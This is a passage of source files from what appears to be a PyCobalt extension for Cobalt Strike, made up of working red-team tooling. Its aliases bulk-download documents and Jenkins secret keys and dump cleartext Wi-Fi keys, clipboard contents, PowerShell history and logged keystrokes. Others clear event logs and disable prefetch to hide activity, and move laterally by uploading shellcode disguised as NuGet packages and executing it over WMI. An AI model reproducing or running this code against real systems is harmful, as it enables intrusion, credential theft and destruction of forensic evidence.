7z-init first') 52 | return 53 | 54 | aggressor.brm(bid, _uploaded) 55 | _uploaded = None 56 | 57 | @aliases.alias('grab-docs', 'Grab common documents') 58 | def _(bid, directory, *extensions): 59 | 60 | if not extensions: 61 | extensions = ['doc', 'docx', 'docm', 62 | 'xls', 'xlsx', 'xlsm', 63 | 'ppt', 'pptx', 'pub', 64 | 'pdf', 'rtf', 'vsd', 65 | 'txt'] 66 | 67 | def callback(path): 68 | ext = path.split('.')[-1] 69 | if ext in extensions: 70 | aggressor.bdownload(bid, path) 71 | 72 | aggressor.btask(bid, 'Tasked beacon to recursively download files with extensions: ' + ', '.join(extensions)) 73 | helpers.recurse_ls(bid, directory, callback) 74 | 75 | @aliases.alias('dlr', 'Recursively download files in directories') 76 | def _(bid, *directories): 77 | def callback(path): 78 | aggressor.bdownload(bid, path) 79 | 80 | for directory in directories: 81 | aggressor.btask(bid, 'Tasked beacon to recurse {} for files to download'.format(directory)) 82 | helpers.recurse_ls(bid, directory, callback) 83 | 84 | @aliases.alias('dl', 'Download files') 85 | def _(bid, *files): 86 | for fname in files: 87 | aggressor.bdownload(bid, fname) 88 | 89 | @aliases.alias('dli', 'Download specific files in directory') 90 | def _(bid, directory, *files): 91 | for fname in files: 92 | full = r'{}\{}'.format(directory, fname) 93 | aggressor.bdownload(bid, full) 94 | 95 | @aliases.alias('dla', 'Non-recursively download files in directories') 96 | def _(bid, *directories): 97 | def callback(path): 98 | aggressor.bdownload(bid, path) 99 | 100 | for directory in directories: 101 | aggressor.btask(bid, 'Tasked beacon to look in {} for files to download'.format(directory)) 102 | helpers.recurse_ls(bid, directory, callback, depth=1) 103 | 104 | @aliases.alias('grab-jenkins', 'Grab Jenkins files') 105 | def _(bid, host=None): 106 | jenkins_dir = r'C:\program files (x86)\jenkins' 107 | files = ['secret.key', 'queue.xml', 'config.xml', 'jenkins.xml', 108 | 'github-plugin-configuration.xml', 109 | 'credentials.xml', 110 | 'scriptApproval.xml', 'scm-sync-configuration.xml', 111 | 'secrets/master.key', 'secrets/hudson.util.Secret'] 112 | 113 | if host: 114 | prefix = helpers.path_to_unc(host, jenkins_dir) 115 | 116 | aggressor.btask(bid, 'Tasked beacon to download files in {}: {}'.format(prefix, ', '.join(files))) 117 | for fname in files: 118 | path = r'{}\{}'.format(prefix, fname) 119 | aggressor.bdownload(bid, path, silent=True) 120 | 121 | # Get download lpaths 122 | @commands.command('lpaths') 123 | def _(out=None): 124 | downloads = aggressor.downloads() 125 | 126 | lines = [] 127 | for download in downloads: 128 | lpath = download['lpath'] 129 | path = r'{}{}'.format(download['path'], download['name']) 130 | 131 | lines.append('{}\t{}'.format(path, lpath)) 132 | 133 | if out: 134 | with open(out, 'w+') as fp: 135 | fp.writelines(lines) 136 | else: 137 | for line in lines: 138 | aggressor.println(line) 139 | 140 | -------------------------------------------------------------------------------- /external.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import utils 4 | sys.path.insert(0, utils.basedir('pycobalt')) 5 | 6 | import pycobalt.engine as engine 7 | import pycobalt.events as events 8 | import pycobalt.commands as commands 9 | import pycobalt.aliases as aliases 10 | import pycobalt.aggressor as aggressor 11 | import pycobalt.callbacks as callbacks 12 | import pycobalt.helpers as helpers 13 | from pycobalt.helpers import powershell_quote 14 | from pycobalt.helpers import cmd_quote 15 | 16 | tools = '/share/tools' 17 | powershell = '{}/powershell'.format(tools) 18 | post_exploitation = '{}/post_exploitation'.format(tools) 19 | 20 | # Callback functions 21 | def run_sharphound(bid, args, silent=False): 22 | temp = helpers.guess_temp(bid) 23 | args = ['--RandomFilenames', '--EncryptZip', '--JsonFolder', temp] + list(args) 24 | run(bid, 'sharphound-raw', args, silent=silent) 25 | 26 | # .NET programs 27 | assemblies = { 28 | 'rubeus': '{}/Rubeus/Rubeus/bin/Release/Rubeus.exe'.format(post_exploitation), 29 | 'sharpweb': '{}/SharpWeb/bin/Release/SharpWeb.exe'.format(post_exploitation), 30 | 'seatbelt': '{}/Seatbelt/Seatbelt/bin/Release/Seatbelt.exe'.format(post_exploitation), 31 | 'sharphound-raw': '{}/recon/BloodHound/Ingestors/SharpHound.exe'.format(tools), 32 | 'sharpup': '{}/SharpUp/SharpUp/bin/Debug/SharpUp.exe'.format(post_exploitation), 33 | #'grouper': '{}/Grouper2/Grouper2/obj/Debug/Grouper2.exe'.format(post_exploitation), 34 | } 35 | 36 | # PowerShell programs 37 | scripts = { 38 | 'powerview': '{}/PowerSploit/Recon/PowerView.ps1'.format(powershell), 39 | 'powerup': '{}/PowerSploit/Privesc/PowerUp.ps1'.format(powershell), 40 | } 41 | 42 | # Callbacks for programs 43 | callbacks = { 44 | 'sharphound': run_sharphound, 45 | } 46 | 47 | def run(bid, program, args=None, silent=False): 48 | # no args 49 | if not args: 50 | args = [] 51 | 52 | if program in assemblies: 53 | assembly = assemblies[program] 54 | args = helpers.eaq(args) 55 | 56 | if not silent: 57 | aggressor.btask(bid, 'Tasked beacon to run {} {}'.format(program, args)) 58 | aggressor.bexecute_assembly(bid, assembly, args, silent=True) 59 | elif program in powershell: 60 | script = powershell[program] 61 | aggressor.bpowershell_import(bid, script) 62 | 63 | if isinstance(args, list) or isinstance(args, tuple): 64 | args = ' '.join(powershell_quote(args)) 65 | 66 | aggressor.bpowerpick(bid, ' '.join(args)) 67 | elif program in callbacks: 68 | callback = callbacks[program] 69 | callback(bid, args, silent=silent) 70 | else: 71 | raise RuntimeError('Unrecognized program: {}'.format(program)) 72 | 73 | def import_script(bid, program): 74 | if program in powershell: 75 | script = powershell[program] 76 | aggressor.bpowershell_import(bid, script) 77 | else: 78 | raise RuntimeError('Not a known script: {}'.format(program)) 79 | -------------------------------------------------------------------------------- /forensics.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | import pycobalt.aggressor as aggressor 12 | import pycobalt.callbacks as callbacks 13 | 14 | @aliases.alias('clear-logs', 'Clear system event logs') 15 | def _(bid): 16 | aggressor.bpowerpick(bid, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog") 17 | 18 | @aliases.alias('stop-events', 'Stop wecsvc') 19 | def _(bid): 20 | aggressor.bshell(bid, "sc stop wecsvc") 21 | 22 | @aliases.alias('disable-prefetch', 'Disable prefetch and superfetch') 23 | def _(bid): 24 | command = r""" 25 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnablePrefetcher" /t REG_DWORD /F /D "0" 26 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnableSuperfetcher" /t REG_DWORD /F /D "0" 27 | """ 28 | aggressor.bpowerpick(bid, command) 29 | 30 | @aliases.alias('enable-prefetch', 'Enable prefetch and superfetch') 31 | def _(bid): 32 | command = r""" 33 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnablePrefetcher" /t REG_DWORD /F /D "3" 34 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session\Memory Management\PrefetchParameters" /V "EnableSuperfetcher" /t REG_DWORD /F /D "1" 35 | """ 36 | aggressor.bpowerpick(bid, command) 37 | 38 | # TODO 39 | # bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Invoke-Phant0m.ps1")); 40 | # bpowershell($1, "Invoke-Phant0m -processname eventlog -threadfilter evt"); 41 | # bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Check-VM.ps1")); 42 | # bpowershell($1, "Check-VM"); 43 | 44 | -------------------------------------------------------------------------------- /gui.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import utils 3 | sys.path.insert(0, utils.basedir('pycobalt')) 4 | 5 | import pycobalt.engine 6 | 7 | # modules 8 | import note_gui 9 | import batch_gui 10 | 11 | pycobalt.engine.loop() 12 | -------------------------------------------------------------------------------- /host.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | import pycobalt.aggressor as aggressor 12 | import pycobalt.callbacks as callbacks 13 | import pycobalt.helpers as helpers 14 | import pycobalt.sharpgen as sharpgen 15 | from pycobalt.helpers import powershell_quote 16 | 17 | import external 18 | 19 | def import_host_recon(bid): 20 | """ 21 | Import HostRecon.ps1 22 | """ 23 | 24 | aggressor.bpowershell_import(bid, utils.basedir('powershell/HostRecon.ps1')) 25 | 26 | @aliases.alias('basic-recon', 'Perform some basic host recon') 27 | def _(bid): 28 | aggressor.bps(bid) 29 | 30 | import_host_recon(bid) 31 | aggressor.bpowerpick(bid, 'Invoke-BasicRecon') 32 | 33 | # TODO improve output format 34 | @aliases.alias('idletime', "Get user's idletime") 35 | def _(bid): 36 | import_host_recon(bid) 37 | aggressor.bpowerpick(bid, 'Get-IdleTime') 38 | 39 | # TODO get commandline and owner working 40 | @aliases.alias('processinfo', 'Get additional process info') 41 | def _(bid): 42 | import_host_recon(bid) 43 | aggressor.bpowerpick(bid, 'Get-Processes') 44 | 45 | # TODO get working 46 | # see powerview Get-DomainTrustMapping 47 | @aliases.alias('logons', 'Get current and historical logon information') 48 | def _(bid): 49 | import_host_recon(bid) 50 | 51 | aggressor.bnet(bid, 'logons') 52 | aggressor.bnet(bid, 'sessions') 53 | 54 | command = helpers.code_string(r""" 55 | Write-Output "---------- Explicit logons, past 10 days ----------" 56 | Get-ExplicitLogons 10 57 | 58 | Write-Output "`n---------- Logons, past 100 events ----------" 59 | Get-Logons 100 60 | """) 61 | 62 | aggressor.btask(bid, 'Tasked beacon to get historical logon information') 63 | aggressor.bpowerpick(bid, command, silent=True) 64 | 65 | @aliases.alias('av', 'Get registered AV info') 66 | def _(bid): 67 | import_host_recon(bid) 68 | aggressor.bpowerpick(bid, 'Get-AV') 69 | 70 | @aliases.alias('search-index', 'Search file index for a pattern') 71 | def _(bid, pattern, out=None): 72 | import_host_recon(bid) 73 | command = 'Get-IndexedFiles {}'.format(powershell_quote(pattern)) 74 | 75 | if out: 76 | # output to file 77 | command += ' > {}'.format(powershell_quote(out)) 78 | 79 | aggressor.bpowerpick(bid, command) 80 | 81 | # TODO put policy settings in another alias 82 | @aliases.alias('interesting-keys', 'Get interesting registry keys') 83 | def _(bid): 84 | import_host_recon(bid) 85 | aggressor.bpowerpick(bid, 'Get-InterestingKeys') 86 | 87 | # TODO remove if seatbelt is working well 88 | @aliases.alias('patches-old', 'Get list of patches on system') 89 | def _(bid): 90 | command = helpers.code_string(r""" 91 | wmic os get Caption /value 92 | Get-WmiObject -class Win32_quickfixengineering | 93 | Select-Object HotFixID,Description,InstalledBy,InstalledOn | 94 | Sort-Object InstalledOn -Descending | 95 | Format-Table -Auto 96 | """) 97 | 98 | aggressor.btask(bid, 'Tasked beacon to get patch info') 99 | aggressor.bpowerpick(bid, command, silent=True) 100 | 101 | @aliases.alias('indomain', 'Check if user is in a domain') 102 | def _(bid): 103 | command = helpers.code_string(r""" 104 | If ((gwmi win32_computersystem).partofdomain){ 105 | Write-Output "User is in domain: $env:userdomain" 106 | } Else { 107 | Write-Output "User is not in a domain" 108 | } 109 | """) 110 | 111 | aggressor.btask(bid, "Tasked beacon to check if it's in a domain") 112 | aggressor.bpowerpick(bid, command, silent=True) 113 | 114 | @aliases.alias('pipes', 'List named pipes on a host') 115 | def _(bid, *hosts): 116 | if not hosts: 117 | hosts = ('.',) 118 | 119 | # read in pipe descriptions 120 | pipes = {} 121 | for line in open(utils.basedir('resources/pipes.txt')): 122 | pipe, description = line.split('\t') 123 | pipe = pipe.lower() 124 | pipes[pipe] = description 125 | 126 | code = helpers.code_string(r""" 127 | foreach (string host in args) { 128 | string path = $@"\\{host}\pipe"; 129 | 130 | foreach (string pipe in System.IO.Directory.GetFiles(path)) { 131 | Console.WriteLine(pipe); 132 | } 133 | } 134 | """) 135 | 136 | aggressor.btask(bid, 'Tasked beacon to list pipes on {}'.format(', '.join(hosts))) 137 | sharpgen.execute(bid, code, hosts) 138 | 139 | # TODO fix 140 | @aliases.alias('isadmin', "Check if user is local admin") 141 | def _(bid): 142 | command = helpers.code_string(r""" 143 | if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 144 | echo "User is a local admin!"; 145 | } else { 146 | echo "User is not local admin :("; 147 | } 148 | """) 149 | 150 | aggressor.btask(bid, 'Tasked beacon to check if user is a local admin') 151 | aggressor.bpowerpick(bid, command, silent=True) 152 | 153 | @aliases.alias('apps', 'Get list of installed applications') 154 | def _(bid): 155 | aggressor.bshell(bid, 'wmic product get Name,Version,Description') 156 | 157 | @aliases.alias('uninstallers', 'Get list of app uninstallers') 158 | def _(bid): 159 | command = helpers.code_string(r""" 160 | Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | 161 | Select-Object DisplayName, InstallDate | 162 | Sort-Object -Property DisplayName | 163 | Format-Table -AutoSize 164 | """) 165 | 166 | aggressor.bpowerpick(bid, command) 167 | 168 | @aliases.alias('appdata', 'List folders in Local and Roaming AppData') 169 | def _(bid): 170 | command = helpers.code_string(""" 171 | ls $env:localappdata 172 | ls $env:appdata 173 | """) 174 | 175 | aggressor.bpowerpick(bid, command) 176 | 177 | @aliases.alias('docs', 'List common document folders') 178 | def _(bid): 179 | command = '' 180 | 181 | for d in ['Desktop', 'Documents', 'Downloads', 'Favorites']: 182 | command += 'ls $env:userprofile\\{}\n'.format(d) 183 | 184 | aggressor.bpowerpick(bid, command) 185 | 186 | # TODO get profile export working 187 | @aliases.alias('wifi', 'List WLAN profiles or get a profile') 188 | def _(bid, profile=None): 189 | if profile: 190 | command = helpers.code_string(""" 191 | netsh wlan export profile name="{name}" folder=$env:temp key=clear 192 | $profile = $env:temp:\*{name}*.xml 193 | get-content $profile 194 | rm $profile 195 | """.format(name=profile)) 196 | aggressor.bpowerpick(bid, command) 197 | else: 198 | aggressor.bshell(bid, 'netsh wlan show profiles name="*" key=clear'); 199 | 200 | @aliases.alias('clipboard', 'Get clipboard') 201 | def _(bid): 202 | command = helpers.code_string(r""" 203 | Add-Type -AssemblyName System.Windows.Forms 204 | $tb = New-Object System.Windows.Forms.TextBox 205 | $tb.Multiline = $true 206 | $tb.Paste() 207 | if ($tb.Text.Length -ne 0) { 208 | $tb.Text 209 | } else { 210 | Write-Output "Clipboard does not contain text data" 211 | } 212 | """) 213 | 214 | aggressor.btask(bid, 'Tasked beacon to grab the clipboard') 215 | aggressor.bpowerpick(bid, command, silent=True) 216 | 217 | @aliases.alias('clipboard-monitor', 'Start clipboard monitor') 218 | def _(bid, *args): 219 | aggressor.bpowershell_import(bid, utils.basedir('powershell/Start-ClipboardMonitor.ps1')) 220 | aggressor.bpowerpick(bid, 'Start-ClipboardMonitor {}'.format(' '.join(powershell_quote(args)))) 221 | 222 | @aliases.alias('powershell-history', 'Get Powershell console history') 223 | def _(bid, last=50): 224 | command = helpers.code_string(r""" 225 | $hist = (Get-Content "$env:appdata\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -EA 0 | 226 | Select -last {}) 227 | if ($hist) {{ 228 | $hist -Join "`r`n" 229 | }} else {{ 230 | "No Powershell history found" 231 | }} 232 | """.format(last)) 233 | 234 | aggressor.btask(bid, 'Tasked beacon to show {} items of powershell history'.format(last)) 235 | aggressor.bpowerpick(bid, command, silent=True) 236 | 237 | @aliases.alias('startups', 'Show user startups') 238 | def _(bid): 239 | aggressor.bpowerpick(bid, 'wmic startup list full') 240 | 241 | @aliases.alias('schtasks', 'Get list of scheduled tasks') 242 | def _(bid): 243 | command = helpers.code_string(r""" 244 | $schedule = New-Object -com("Schedule.Service") 245 | $schedule.connect() 246 | $tasks = $schedule.getfolder("\").gettasks(0) | 247 | Select-Object Name, Path, Enabled | 248 | Format-Table -Wrap | 249 | Out-String 250 | If ($tasks.count -eq 0) { 251 | Write-Output "No scheduled tasks" 252 | } 253 | If ($tasks.count -ne 0) { 254 | $tasks 255 | } 256 | """) 257 | 258 | aggressor.btask(bid, 'Tasked beacon to list scheduled tasks') 259 | aggressor.bpowerpick(bid, command, silent=True) 260 | 261 | @aliases.alias('seatbelt', 'Run Seatbelt') 262 | def _(bid, *args): 263 | external.run(bid, 'seatbelt', args) 264 | 265 | @aliases.alias('seatbelt-system', 'Run Seatbelt system') 266 | def _(bid, *args): 267 | external.run(bid, 'seatbelt', ['system'] + list(args)) 268 | 269 | @aliases.alias('seatbelt-user', 'Run Seatbelt user') 270 | def _(bid, *args): 271 | external.run(bid, 'seatbelt', ['user'] + list(args)) 272 | 273 | @aliases.alias('seatbelt-all', 'Run Seatbelt all') 274 | def _(bid, *args): 275 | external.run(bid, 'seatbelt', ['all'] + list(args)) 276 | 277 | @aliases.alias('seatbelt-full', 'Run Seatbelt all full') 278 | def _(bid, *args): 279 | external.run(bid, 'seatbelt', ['all', 'full'] + list(args)) 280 | 281 | @aliases.alias('mapped', 'Show mapped drives') 282 | def _(bid): 283 | external.run(bid, 'seatbelt', 'MappedDrives') 284 | 285 | @aliases.alias('basic', 'Show basic host info') 286 | def _(bid): 287 | external.run(bid, 'seatbelt', ['BasicOSInfo', 'UserFolders', 'AntiVirusWMI', 'InterestingProcesses']) 288 | 289 | @aliases.alias('elevation', 'Show elevation potential') 290 | def _(bid): 291 | external.run(bid, 'seatbelt', ['BasicOSInfo', 'UACSystemPolicies', 'Patches', 'TokenGroupPrivs', 'LocalGroupMembers']) 292 | 293 | @aliases.alias('patches', 'Get list of patches on system') 294 | def _(bid): 295 | external.run(bid, 'seatbelt', 'Patches') 296 | -------------------------------------------------------------------------------- /lateral.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import textwrap 8 | 9 | import pycobalt.engine as engine 10 | import pycobalt.events as events 11 | import pycobalt.commands as commands 12 | import pycobalt.aliases as aliases 13 | import pycobalt.aggressor as aggressor 14 | import pycobalt.callbacks as callbacks 15 | import pycobalt.helpers as helpers 16 | import pycobalt.utils 17 | 18 | # see https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 19 | # TODO finish this, using our js payload stuff 20 | @aliases.alias('dcom', 'Move laterally using DCOM') 21 | def _(bid, target, listener=None): 22 | def do_dcom(listener): 23 | if not aggressor.listener_info(listener): 24 | aggressor.berror(bid, "Listener {} does not exist".format(listener)) 25 | return 26 | 27 | aggressor.btask(bid, 'Tasked Beacon to spawn beacon on host "{}" for listener {} using DCOM'.format(target, listener)) 28 | 29 | if listener: 30 | do_dcom(listener) 31 | else: 32 | # choose listener 33 | aggressor.openPayloadHelper(do_dcom) 34 | 35 | # # generate a powershell one-liner to run our alias 36 | # $command = powershell($3, true, 'x86') 37 | # 38 | # # remove "powershell.exe " from our command 39 | # $command = strrep($command, "powershell.exe ", "") 40 | # 41 | # # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object 42 | # script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "' 43 | # script .= target 44 | # script .= '")).Document.ActiveView.ExecuteShellCommand("' 45 | # script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe' 46 | # script .= '", $null, "' 47 | # script .= $command 48 | # script .= '", "7")' 49 | # 50 | # # run the script we built up 51 | # aggressor.bpowershell(bid, script) 52 | # 53 | # # complete staging process (for bind_pipe listeners) 54 | # aggressor.bstage(bid, target, listener, 'x86') 55 | 56 | @aliases.alias('checkaccess', "Check to see if beacon has remote admin access to a host (requires host to have C$ share available)") 57 | def _(bid, *hosts): 58 | command = '' 59 | 60 | if not hosts: 61 | aggressor.berror(bid, 'Specify some hosts to check admin access to') 62 | 63 | for host in hosts: 64 | host = host.lstrip('\\') 65 | command += helpers.code_string(r""" 66 | ls \\{host}\C$ >$null 2>$null 67 | if ($?) {{ 68 | Write-Output "You have admin access to \\{host}" 69 | }} else {{ 70 | Write-Output "You do not have access to \\{host}: $($Error[0].Exception.Message)" 71 | }} 72 | """, host=host) 73 | 74 | aggressor.btask(bid, 'Tasked beacon to check access to: ' + ', '.join(hosts)) 75 | aggressor.bpowerpick(bid, command, silent=True) 76 | 77 | @aliases.alias('checkav', "Check for AV with virtual SID resolution") 78 | def _(bid, *hosts): 79 | exe = '/share/tools/post_exploitation/TestAntivirus/bin/Release/net35/TestAntivirus.exe' 80 | 81 | if hosts: 82 | aggressor.btask(bid, 'Tasked beacon to check AV on: ' + ', '.join(hosts)) 83 | else: 84 | aggressor.btask(bid, 'Tasked beacon to check local AV') 85 | 86 | aggressor.bexecute_assembly(bid, exe, helpers.eaq(hosts), silent=True) 87 | 88 | def lateral_wmi_shellcode(bid, host, shellcode, user=None, password=None): 89 | native_helper = utils.basedir('tools/native.exe') 90 | 91 | temp_relative = 'WINDOWS' 92 | temp_remote = r'\\{}\C$\{}'.format(host, temp_relative) 93 | temp_local = r'C:\{}'.format(temp_relative) 94 | 95 | native_helper_relative = 'NugetPackage.{}.exe'.format(helpers.randstr()) 96 | native_helper_remote = r'{}\{}'.format(temp_remote, native_helper_relative) 97 | native_helper_local = r'{}\{}'.format(temp_local, native_helper_relative) 98 | 99 | shellcode_relative = r'nuget.{}.package'.format(helpers.randstr()) 100 | shellcode_remote = r'{}\{}'.format(temp_remote, shellcode_relative) 101 | shellcode_local = r'{}\{}'.format(temp_local, shellcode_relative) 102 | 103 | # upload 104 | helpers.upload_to(bid, native_helper, native_helper_remote, silent=True) 105 | helpers.upload_to(bid, shellcode, shellcode_remote, silent=True) 106 | 107 | # call it 108 | remote_command = '{} {}'.format(native_helper_local, shellcode_local) 109 | # TODO user/pass 110 | local_command = 'echo "{host}" & wmic /node:"{host}" '.format(host=host) 111 | if user or password: 112 | local_command += ' /user:{user} /password:{password} '.format(user=user, password=password) 113 | local_command += 'process call create "{command}","{cwd}"'.format(host=host, command=remote_command, cwd=temp_local) 114 | aggressor.bshell(bid, local_command) 115 | 116 | # clean up 117 | #aggressor.brm(bid, shellcode_remote, silent=True) 118 | 119 | @aliases.alias('wmi-shellcode', 'Move laterally with WMI, shellcode, and a .exe helper') 120 | def _(bid, shellcode, *hosts): 121 | if not hosts: 122 | aggressor.berror(bid, 'specify some hosts') 123 | return 124 | 125 | for host in hosts: 126 | lateral_wmi_shellcode(bid, host, shellcode) 127 | 128 | @aliases.alias('wmi-creds-shellcode', 'Move laterally with user/pass WMI, shellcode, and a .exe helper') 129 | def _(bid, user, password, shellcode, *hosts): 130 | for host in hosts: 131 | lateral_wmi_shellcode(bid, host, shellcode, user=user, password=password) 132 | 133 | @aliases.alias('lateral', 'Run lateral movement commands') 134 | def _(bid, method, host, *args): 135 | callbacks = { 136 | 'wmi-shellcode': lateral_wmi_shellcode, 137 | } 138 | 139 | if method in callbacks: 140 | aggressor.btask(bid, 'Tasked beacon to move laterally with method: {}'.format(method)) 141 | callback = callbacks[method] 142 | 143 | if not pycobalt.utils.check_args(callback, (bid, host) + args): 144 | signature = pycobalt.utils.signature(callback, trim=2) 145 | aggressor.berror(bid, 'Invalid arguments to method {}. Signature: {}'.format(method, signature)) 146 | return 147 | 148 | host = host.lstrip('\\') 149 | callback(bid, host, *args) 150 | else: 151 | aggressor.berror(bid, 'method must be one of: {}'.format(', '.join(callbacks.keys()))) 152 | 153 | def get_names(bid, hosts, delay=10): 154 | """ 155 | Get names for hosts using wmic. 156 | 157 | :param bid: Beacon to run on 158 | :param hosts: Hosts to resolve 159 | """ 160 | 161 | command = '' 162 | 163 | for host in hosts: 164 | host = host.lstrip('\\') 165 | command += helpers.code_string(r""" 166 | $hostname = wmic /node:`"{host}`" computersystem get name 2>$null | Select-Object -Skip 2 167 | if ($?) {{ 168 | Write-Host "{host}: $hostname" -NoNewLine 169 | }} else {{ 170 | Write-Host "Failed to check {host}: $($Error[0].Exception.Message | findstr 'Description =')" 171 | }} 172 | 173 | Sleep {delay} 174 | """.format(host=host, delay=delay)) 175 | 176 | aggressor.bpowerpick(bid, command, silent=True) 177 | 178 | @aliases.alias('names', 'Show hostnames of computers with wmic') 179 | def _(bid, *hosts): 180 | aggressor.btask(bid, 'Tasked beacon to get hostnames for: {}'.format(', '.join(hosts))) 181 | get_names(bid, hosts) 182 | 183 | @aliases.alias('names-file', 'Show hostnames of computers from file with wmic') 184 | def _(bid, fname): 185 | with open(fname, 'r') as fp: 186 | hosts = [host.strip() for host in fp] 187 | 188 | aggressor.btask(bid, 'Tasked beacon to get hostnames for {} machines'.format(len(hosts))) 189 | get_names(bid, hosts) 190 | 191 | @aliases.alias('rdp-jump', 'Jump with RDP') 192 | def _(bid): 193 | aggressor.bexecute_assembly(bid, '/share/tools/jumper/jumper_tsclient.exe', 'tsclient-embedded') 194 | 195 | @aliases.alias('access-policy', 'Get GPO remote access policy') 196 | def _(bid, *args): 197 | external.run(bid, 'powerview', 'Get-DomainGPORemoteAccessPolicy {}'.format(' '.join(args))) 198 | -------------------------------------------------------------------------------- /logs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import os 8 | import re 9 | import textwrap 10 | import datetime 11 | import collections 12 | 13 | import pycobalt.engine as engine 14 | import pycobalt.events as events 15 | import pycobalt.commands as commands 16 | import pycobalt.aliases as aliases 17 | import pycobalt.aggressor as aggressor 18 | import pycobalt.callbacks as callbacks 19 | import pycobalt.helpers as helpers 20 | from pycobalt.helpers import powershell_quote 21 | 22 | def convert_time(time): 23 | """ 24 | Convert data model time to pretty time 25 | """ 26 | 27 | return datetime.datetime.utcfromtimestamp(int(str(time)[:-3])).strftime('%Y-%m-%d %H:%M:%S') 28 | 29 | def split_output(output): 30 | """ 31 | Split up a piece of beacon output based on the [+] prefixes. 32 | """ 33 | 34 | lines = output.splitlines() 35 | ret = [] 36 | current = None 37 | for line in lines: 38 | if not current: 39 | current = line + '\n' 40 | 41 | if line.startswith('[*]') or line.startswith('[+]') or line.startswith('[!]'): 42 | if current: 43 | ret.append(current) 44 | current = line + '\n' 45 | else: 46 | current += line + '\n' 47 | 48 | return ret 49 | 50 | # Grep keystrokes for a regex 51 | @commands.command('grep-keystrokes') 52 | def _(regex): 53 | found = False 54 | engine.message("Searching keystrokes for '{}'".format(regex)) 55 | for frame in aggressor.data_query('keystrokes'): 56 | data = frame['data'] 57 | bid = frame['bid'] 58 | time = convert_time(frame['when']) 59 | beacon = '{}@{}'.format(aggressor.beacon_info(bid, 'user'), aggressor.beacon_info(bid, 'computer')) 60 | 61 | for line in data.splitlines(): 62 | if re.search(regex, line, re.IGNORECASE): 63 | engine.message("Found keystroke matching '{}' from {} at {}: {}".format(regex, beacon, time, line)) 64 | found = True 65 | 66 | if not found: 67 | engine.error("Didn't find any keystrokes containing '{}'".format(regex)) 68 | 69 | def parse_log(frame): 70 | """ 71 | Parse a beacon log entry frame. 72 | 73 | :param frame: Log entry 74 | :return: {bid, type, user, data, time} 75 | """ 76 | 77 | log = {} 78 | 79 | log['type'] = frame[0] 80 | log['bid'] = frame[1] 81 | if log['type'] == 'beacon_input': 82 | log['user'] = frame[2] 83 | log['data'] = frame[3] 84 | log['time'] = convert_time(frame[4]) 85 | elif log['type'] == 'beacon_indicator': 86 | log['user'] = frame[2] 87 | log['data'] = frame[3] 88 | log['time'] = convert_time(frame[4]) 89 | else: 90 | log['data'] = frame[2] 91 | log['time'] = convert_time(frame[3]) 92 | 93 | return log 94 | 95 | def get_logs(out, bid=None, user=None, computer=None): 96 | """ 97 | Get logs for a bid, user, or computer 98 | 99 | :param out: Output file 100 | :param bid: Bid to match 101 | :param user: User to match 102 | :param computer: Computer to match 103 | """ 104 | 105 | finds = 0 106 | for frame in aggressor.data_query('beaconlog'): 107 | log = parse_log(frame) 108 | 109 | if log['type'] == 'beacon_indicator': 110 | # skip indicators 111 | continue 112 | 113 | matched = False 114 | 115 | # check user 116 | if user: 117 | log_user = aggressor.beacon_info(log['bid'], 'user') 118 | 119 | if log_user == user: 120 | matched = True 121 | 122 | # check computer 123 | if computer: 124 | log_computer = aggressor.beacon_info(log['bid'], 'computer') 125 | 126 | if log_computer == computer: 127 | matched = True 128 | 129 | # check bid 130 | if bid and log['bid'] == bid: 131 | matched = True 132 | 133 | if matched: 134 | # it's a match! 135 | finds += 1 136 | 137 | # -o/--out 138 | with open(out, 'a+') as fp: 139 | # fix line endings 140 | data = log['data'].replace('\r\n', '\n') 141 | 142 | # add user attribution 143 | if log['type'] == 'beacon_input': 144 | data = '{}> {}'.format(user, data) 145 | 146 | # write timestamp 147 | fp.write('----- {} -----\n'.format(log['time'])) 148 | fp.write(data + '\n\n') 149 | 150 | return finds 151 | 152 | # Get logs for user or computer 153 | @commands.command('logs') 154 | def _(*args): 155 | parser = helpers.ArgumentParser(prog='logs', description='Get logs for a user or computer') 156 | parser.add_argument('-c', '--computer', help='Get logs for computer') 157 | parser.add_argument('-u', '--user', help='Get logs for user') 158 | parser.add_argument('out', help='Output file') 159 | try: args = parser.parse_args(args) 160 | except: return 161 | 162 | finds = get_logs(args.out, user=args.user, computer=args.computer) 163 | engine.message('Wrote {} log 